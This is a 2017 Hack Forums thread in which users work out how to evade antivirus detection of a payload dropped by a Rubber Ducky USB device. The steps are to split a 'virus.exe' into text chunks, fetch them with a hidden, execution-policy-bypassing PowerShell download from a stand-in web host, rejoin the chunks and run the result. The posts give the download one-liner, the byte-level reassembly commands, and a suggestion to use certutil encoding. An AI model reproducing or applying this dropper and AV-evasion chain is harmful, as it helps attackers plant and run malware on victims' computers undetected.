Shell Split exe into 2 text files, then join back together in powershell.

[Shell] Split exe into 2 text files, then join back together in powershell. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] Split exe into 2 text files, then join back together in powershell. (/showthread.php?tid=5612123)

Split exe into 2 text files, then join back together in powershell. - Mr. Robot - Apr 30, 2017

So trying to figure this out.

Basically what we want to do to avoid some AVs that detect my ducky script -

1. Split a .exe into 2 text files or more,
2. Upload 2 text files to domain/server
3. Download 2 text files
4. Join 2 text files as the .exe and finally execute.

What' I am trying at the moment

Code 
gc "C:\Users\Mr Robot\Downloads\virus1.txt","C:\Users\Mr Robot\Downloads\virus2.txt" | out-file "C:\Users\Mr Robot\Downloads\virus.exe"

Rubber ducky command looks like this to download the file.

Code 
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://website.com/virus1.txt',\"C:\Users\Mr Robot\Downloads\virus1.txt\");"

* - JoshuTee - Apr 30, 2017

You will have to encode and decode your executable, use the built in CERTUTIL utility.

* - Mr. Robot - Apr 30, 2017

(Apr 30, 2017 03:46 PM)JoshuTee Wrote: You will have to encode and decode your executable, use the built in CERTUTIL utility.

Nope, we finally got it in the end thanks though mate.

Split with http://www.filesplitter.org/

Then combined in powershell

Code 
PS C:\Users\admin> gc -Encoding Byte -Path "C:\Users\admin\Desktop\virus.exe.chunk001","C:\Users\admin\Desktop\virus.exe.chunk002","C:\Users\admin\Desktop\virus.exe.chunk003" | sc -Encoding Byte A:\virus.exe